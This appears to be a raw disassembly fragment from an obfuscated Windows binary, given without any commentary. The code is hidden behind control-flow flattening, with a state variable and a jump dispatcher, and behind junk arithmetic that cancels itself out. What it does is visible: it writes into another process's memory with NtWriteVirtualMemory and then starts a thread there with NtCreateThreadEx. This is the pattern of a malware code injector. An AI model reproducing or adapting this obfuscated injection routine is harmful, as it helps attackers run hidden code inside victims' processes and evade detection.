sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xe8]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x184], 0xea40f2fb
jmp 0x10007647
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x184], 0xb76ac8d
jmp 0x10007647
mov eax, dword [ebp - 0x170]
sub eax, 0x2b21032d
add eax, 8
add eax, 0x2b21032d
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 4]
sub ecx, 0x5b08c61c
sub ecx, 8
add ecx, 0x5b08c61c
shr ecx, 1
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0xdd186c5b
jmp 0x10007647
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x184], 0xa858089e
jmp 0x10007647
mov eax, dword [ebp - 0x138]
mov ecx, dword [eax]
add ecx, 0x132e58cd
add ecx, 1
sub ecx, 0x132e58cd
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0x4a7c0c34
jmp 0x10007647
mov dword [ebp - 0x184], 0x70756dc
jmp 0x10007647
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x184], 0x25982a10
jmp 0x10007647
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x184], 0xbc771e21
jmp 0x10007647
mov eax, dword [ebp - 0x74]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
add ecx, 0x951e513b
sub ecx, eax
sub ecx, 0x951e513b
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x11c]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0xf1ef3dd7
jmp 0x10007647
mov dword [ebp - 0x184], 0xa3603a71
jmp 0x10007647
jmp 0x10003f50